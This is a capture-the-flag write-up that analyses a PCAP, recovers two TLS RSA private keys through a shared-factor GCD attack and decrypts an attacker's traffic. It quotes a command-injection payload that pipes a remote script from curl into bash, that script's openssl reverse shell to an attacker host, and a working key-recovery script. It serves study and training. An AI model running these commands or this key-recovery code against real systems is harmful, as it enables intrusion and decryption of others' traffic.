Nice forensic/crypto chall about weak TLS implementation inside a PCAP file, played during the 2nd edition of the Santhacklaus CTF

Table of contents

statement Capture file: challenge.pcapng

Forensic

The only resource we have is a 35 MB pcapng file, challenge.pcapng.

THe first thing that I usually do with huges pcap files is listing protocols in it, like this:

thbz ~/CTF/Santhacklaus/revmomon > tshark -r challenge.pcapng | awk '{print $7}' | sort -u
ARP
DNS
HTTP
ICMP
MDNS
TCP
TLSv1
TLSv1.2

We can then check the pcap for DNS exfiltration and ICMP exfiltration, which are classic cases of network forensics.
Check for ICMP exfiltation:

thbz ~/CTF/Santhacklaus/revmomon > tshark -r challenge.pcapng -Y 'icmp' -Tfields -e data.data | tr -d ':' | xxd -r -p
��
   !"#$%&'()*+,-./01234567��
                                             !"#$%&'()*+,-./01234567��
                                                                                       !"#$%&'()*+,-./01234567��
                                                                                                                                 !"#$%&'()*+,-./01234567��
                                                                                                                                                                           !"#$%&'()*+,-./01234567��
  !"#$%&'()*+,-./01234567

Check for DNS exfiltration:

thbz ~/CTF/Santhacklaus/revmomon > tshark -r challenge.pcapng -Y 'dns' -Tfields -e dns.qry.name
security.debian.org
deb.debian.org
security-cdn.debian.org
[...]
1.0.17.172.in-addr.arpa
3.0.17.172.in-addr.arpa

Alright, therefore this must be a more intersting chall!

By opening the capture with Wireshark we see very verbose TCP traffic at first.
nmap traffic

It is only composed by TCP SYN from 172.17.0.1 to 172.17.0.5, each time on a different port.
That looks like some nmap traffic. We conclude 172.17.0.1 is the attacker’s ip address.

Further there are 2 different HTTP flows:
apt-get traffic dirb traffic

According to the reached URLs, the first one is a simple apt-get traffic.
The second looks like a dirb scan, or whatever tool which bruteforces web server available files.

Then we have some HTTPS traffic, which is very scary because we will certainly have to decrypt it :c
https

At this point we have these informations:

  • Attacker IP: 172.17.0.1
  • Target IP: 172.17.0.5
  • Attacker used nmap then dirb
  • Attacker infected the server with a backdoor (from statement)

To start following the attacker’s tracks, I looked closer at HTTP traffic, and I quickly found those POST requests from the attacker:
HTTP POST requests

Let’s see what they contain with “Follow HTTP stream”:
HTTP stream 1
HTTP stream 2
HTTP stream 3

The target’s website contains a form in which you have to put an IP address in order to check if it’s up or not. It seems that there is no user input filtering because the attacker exploited a command injection to run the id command through nc.
The last POST request is far more interesting:
HTTP stream 4
HTTP stream 5

The URL-decoded command is 127.0.0.1 ; curl -k https://172.17.0.1/a.sh | bash"
We definitely want to know what does this a.sh script do, but all remaining traffic is encrypted (HTTPS). The capture is not hiding any private key, this won’t be so easy to recover plain HTTP data.

Crypto

By browsing the capture during long hours, we don’t find any piece of data helping us in our decrpyting quest. We remember it is a crypto challenge, the vulnerability must be in the TLS implementation itself.
The cryptographic suite of the attacker’s HTTPS server is this one:
TLS_RSA_WITH_AES_256_GCM_SHA384

We have some RSA, let’s find some mistakes that could be made in order to break it.
An interesting point is that 172.17.0.1 has 2 HTTPS servers running, on 2 different ports: 443 and 8443.
443 and 8443
That involves the next RSA numbers:

  • Server on port 443
    • modulo: n1 (p1*q1)
    • exponent: 65537 (public, standard)
    • d1 (private)
  • Server on port 8443
    • modulo: n2 (p2*q2)
    • exponent: 65537 (public, standard)
    • d2 (private)

I learned that in weak HTTPS implementations, a RSA factor (p or q) can be shared between 2 different key pairs to save calculation time during generation. What if our 2 servers have a p in common? We could calculate the GCD (Greatest Common Divider) of the 2 modulos, which means factorize them both!

Let’s dig it by extracting the 2 certificates:

thbz ~/CTF/Santhacklaus/revmomon > tshark -r challenge.pcapng -Y 'ip.src == 172.17.0.1 && ssl.handshake.certificate' -Tfields -e ssl.handshake.certificate | sort -u | tr -d ':'
308203933082027ba00302010202147687e8f8299f8e13e23e4187ba389f139329e24d300d06092a864886f70d01010b05003059310b3009060355040613025255310f300d06035504080c06527573736965310f300d06035504070c064d6f73636f7731173015060355040a0c0e5072696d65206d696e6973746572310f300d060355040b0c06476f756c6167301e170d3139313032393233333631385a170d3238303131353233333631385a3059310b3009060355040613025255310f300d06035504080c06527573736965310f300d06035504070c064d6f73636f7731173015060355040a0c0e5072696d65206d696e6973746572310f300d060355040b0c06476f756c616730820122300d06092a864886f70d01010105000382010f003082010a0282010100f24eac4339289aa0a378e3c9d7489d630e4afc427f72b2c259c299cbbf61c8e8880076e73f789cadf783f12eea9dbe87c0cc8abeebb5acb90004ff115150a50e57f230a71930ef29f24823fb1b3cd85ccc241789884b2a486eadffcce9dbafd6d68aad196a5d7ab6da3b47998f4dc4c6eca879d6cd8207ee602a9eec007d581f3f07ba774c48f09cd13b6d17384412f92a1ab3076a6562bacd0ea868af98e8fd10600c6767406304a34f80f2864f1b39aae1dfa51364f10381425ca070d8ce82f8f766c2492d2b5645dbac3f324d2010ee43561d0c80f92e9841627d39aaf50829532f2a922fe3f32237db432617a5907abe2ab601697661705106fa2af2a7490203010001a3533051301d0603551d0e0416041403c8b22eff2cd0d1c0f6b84f7c7a8dd9b4019075301f0603551d2304183016801403c8b22eff2cd0d1c0f6b84f7c7a8dd9b4019075300f0603551d130101ff040530030101ff300d06092a864886f70d01010b05000382010100e1dbc5647cb3ef9bfa4e12e2412f3d81e943eddb350b3a938916b33e2c88ce5b8196633e52d9054a6eee5b47309c559167147426f8b2a34beebcd0e72bdcadbe9e73787635446200e45c67d0912d2c4004fa89bfe2bed7b0bf6739c0b6101129115275b10415d961f64eefd63bec93c143f88387125b3decdffff45bbf277f397bb3dbabe35b0c63e49ff5f7ab7c4551a03aec077bb699970cfebff9f7eb85ab7a13532f390a6a14fcac7e817648ac1b578d41448fa2b4bf1d6351573a49124f827d7638af621f0cb1679ad1f4fde6989aa2151cdec8e89eff04a92c3995d0a744e0de716a9d1f551e8f4d2c8290d53d6b8f2f354610e701bdce1846d607f6d5
3082039930820281a003020102021463d19310c368e05d63329abac451f4914f34da11300d06092a864886f70d01010b0500305c310b3009060355040613024652310f300d06035504080c064672616e6365310e300c06035504070c05506172697331173015060355040a0c0e5072696d65204d696e697374657231133011060355040b0c0a42726578697420465457301e170d3139313032393230313830315a170d3238303131353230313830315a305c310b3009060355040613024652310f300d06035504080c064672616e6365310e300c06035504070c05506172697331173015060355040a0c0e5072696d65204d696e697374657231133011060355040b0c0a4272657869742046545730820122300d06092a864886f70d01010105000382010f003082010a0282010100eaa1f50f799c7b8a48e346834c51c79d4f08f38394ecd091dca0f8a530ac92dcace9cb6139d67862747a6b7481204026a6af29ff7288f5f9903b8dc9263f8de2f58482c03c4b917709066d6caaf620bac25fc0576a989cbd81475d6979ebbc5619ea64aa3745040a82f0d76913de598590e9c334608f40c825105a289f5139d29ea3c6d86ad5d109d9bff90f42c3cadd927650b67261f09734eb551674469147914835066d3660e4c337a10d80fe7a567dce6357a11ac1fb061036ea074d5ba7062842173fd651ca2a708b4f4a885e5868b2f8e93807441c04210b855b394694a3a7a0bfd3297ed26c773fed7be3726c2949a7bb57c060a8b7a07006e2c818150203010001a3533051301d0603551d0e04160414762dcfdf0f4ac899c5ef67fc0db07aad8dd59c17301f0603551d23041830168014762dcfdf0f4ac899c5ef67fc0db07aad8dd59c17300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010001b9aee723c3b195a63bddcd6bc511b2383298467b231f3413b485d91be1bc1a9123bc222711b96c6ff7f45ce64288724b8eed1bdd00e7898940d610de82bc498db2fc11b3077f5c909c05ae651eb4279523ef1e457a67320539de71eec6a5b97932801b27cfb85544254cca8272644fc6e4736d79895e34d351d7aa537186230adecbae1c03ceab13df3991420b3349551f7c535b9ef0f62c07b713d072d42200bef377ee2caba61614e4fd9fdd6c2c613579ff08e99d2a5fd5707ca4aded732a12e211e9b5d382295f02ead6df2cec77b4b1e02cf7e67ef584fbb7c68334fd305bd46d63bb50ce265d5cf83e21b7c243e629b659d76c0b913357fb359c3529

Then we decode them from hex, and we obtain 2 DER certificates:

thbz ~/CTF/Santhacklaus/revmomon > echo -n '308203[...]07f6d5' | xxd -r -p > cert1.der
thbz ~/CTF/Santhacklaus/revmomon > echo -n '308203[...]9c3529' | xxd -r -p > cert2.der

Thanks to openssl we extract the 2 modulos:

thbz ~/CTF/Santhacklaus/revmomon > openssl x509 -inform der -in cert1.der -noout -modulus
Modulus=F24EAC4339289AA0A378E3C9D7489D630E4AFC427F72B2C259C299CBBF61C8E8880076E73F789CADF783F12EEA9DBE87C0CC8ABEEBB5ACB90004FF115150A50E57F230A71930EF29F24823FB1B3CD85CCC241789884B2A486EADFFCCE9DBAFD6D68AAD196A5D7AB6DA3B47998F4DC4C6ECA879D6CD8207EE602A9EEC007D581F3F07BA774C48F09CD13B6D17384412F92A1AB3076A6562BACD0EA868AF98E8FD10600C6767406304A34F80F2864F1B39AAE1DFA51364F10381425CA070D8CE82F8F766C2492D2B5645DBAC3F324D2010EE43561D0C80F92E9841627D39AAF50829532F2A922FE3F32237DB432617A5907ABE2AB601697661705106FA2AF2A749
thbz ~/CTF/Santhacklaus/revmomon > openssl x509 -inform der -in cert2.der -noout -modulus
Modulus=EAA1F50F799C7B8A48E346834C51C79D4F08F38394ECD091DCA0F8A530AC92DCACE9CB6139D67862747A6B7481204026A6AF29FF7288F5F9903B8DC9263F8DE2F58482C03C4B917709066D6CAAF620BAC25FC0576A989CBD81475D6979EBBC5619EA64AA3745040A82F0D76913DE598590E9C334608F40C825105A289F5139D29EA3C6D86AD5D109D9BFF90F42C3CADD927650B67261F09734EB551674469147914835066D3660E4C337A10D80FE7A567DCE6357A11AC1FB061036EA074D5BA7062842173FD651CA2A708B4F4A885E5868B2F8E93807441C04210B855B394694A3A7A0BFD3297ED26C773FED7BE3726C2949A7BB57C060A8B7A07006E2C81815

We write a Python script to test and exploit the vulnerability:

#!/usr/bin/env python3

from Crypto.PublicKey import RSA
import gmpy2
from os import chmod

n1 = int(input("Modulus 1: "), 16)
n2 = int(input("Modulus 2: "), 16)
e = 0x10001
p = gmpy2.gcd(n1,n2)

if p > 1:
    print("[+] Big GCD found!")
else:
    exit("[x] GCD is 1, no vuln :(")

# Computing d values
q1 = n1 // p
q2 = n2 // p
phi1 = (p-1)*(q1-1)
phi2 = (p-1)*(q2-1)
d1 = int(gmpy2.invert(e,phi1))
d2 = int(gmpy2.invert(e,phi2))

# Creating private key objects
privkey1 = RSA.construct((n1,e,d1))
privkey2 = RSA.construct((n2,e,d2))

# Exporting private keys in PEM format
with open("/tmp/priv1.key", 'wb') as content_file:
    chmod("/tmp/priv1.key", 0o600)
    content_file.write(privkey1.exportKey('PEM'))
print("[+] Exported priv1.key")

with open("/tmp/priv2.key", 'wb') as content_file:
    chmod("/tmp/priv2.key", 0o600)
    content_file.write(privkey2.exportKey('PEM'))
print("[+] Exported priv2.key")

The script takes our 2 modulos as input, and if they have a common factor, it generates 2 PEM files corresponding to the 2 private keys in a standard format.

thbz ~/CTF/Santhacklaus/revmomon > ./rsa.py
Modulus 1: F24EAC4339289AA0A378E3C9D7489D630E4AFC427F72B2C259C299CBBF61C8E8880076E73F789CADF783F12EEA9DBE87C0CC8ABEEBB5ACB90004FF115150A50E57F230A71930EF29F24823FB1B3CD85CCC241789884B2A486EADFFCCE9DBAFD6D68AAD196A5D7AB6DA3B47998F4DC4C6ECA879D6CD8207EE602A9EEC007D581F3F07BA774C48F09CD13B6D17384412F92A1AB3076A6562BACD0EA868AF98E8FD10600C6767406304A34F80F2864F1B39AAE1DFA51364F10381425CA070D8CE82F8F766C2492D2B5645DBAC3F324D2010EE43561D0C80F92E9841627D39AAF50829532F2A922FE3F32237DB432617A5907ABE2AB601697661705106FA2AF2A749
Modulus 2: EAA1F50F799C7B8A48E346834C51C79D4F08F38394ECD091DCA0F8A530AC92DCACE9CB6139D67862747A6B7481204026A6AF29FF7288F5F9903B8DC9263F8DE2F58482C03C4B917709066D6CAAF620BAC25FC0576A989CBD81475D6979EBBC5619EA64AA3745040A82F0D76913DE598590E9C334608F40C825105A289F5139D29EA3C6D86AD5D109D9BFF90F42C3CADD927650B67261F09734EB551674469147914835066D3660E4C337A10D80FE7A567DCE6357A11AC1FB061036EA074D5BA7062842173FD651CA2A708B4F4A885E5868B2F8E93807441C04210B855B394694A3A7A0BFD3297ED26C773FED7BE3726C2949A7BB57C060A8B7A07006E2C81815
[+] Big GCD found!
[+] Exported priv1.key
[+] Exported priv2.key

This works like a charm, and we are now able to decrpyt all the TLS!
For that we have to add the keys in Wireshark which will do the job for us.& HTTPS decrypting 1
HTTPS decrypting 2
HTTPS decrypting 3

We successfully decrypted it!
We have now access to the content of attackers’s a.sh and the rest of the network traffic.

Forensic again

We inspect the HTTP transfer of the GET /a.sh frame and we obtain the following script:

#!/bin/sh

IP_ATTACKER="172.17.0.1"
OPENSSL_PATH=$(which openssl)

wget --no-check-certificate https://${IP_ATTACKER}:443/cert2.crt -O /dev/shm/cert.pem

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | ${OPENSSL_PATH} s_client -quiet -CAfile /dev/shm/cert.pem -verify_return_error -verify 1 -connect ${IP_ATTACKER}:8443 > /tmp/s; rm /tmp/s

This opens a reverse shell with the attacker on the port 8443 over HTTPS.
Here are pieces of what the attacker did over this shell:
HTTP stream revshell 1
HTTP stream revshell 2
HTTP stream revshell 3

The file DRUNK_IKEBANA is probably our malware as the attacker hiding it, launching it in background, before starting covering his tracks.

thbz ~/CTF/Santhacklaus/revmomon > sha256sum /tmp/DRUNK_IKEBANA
daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830  /tmp/DRUNK_IKEBANA
Flag: SANTA{daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830}  

Thank you Maki for this awesome chall <3
(and don’t worry it was not guessing)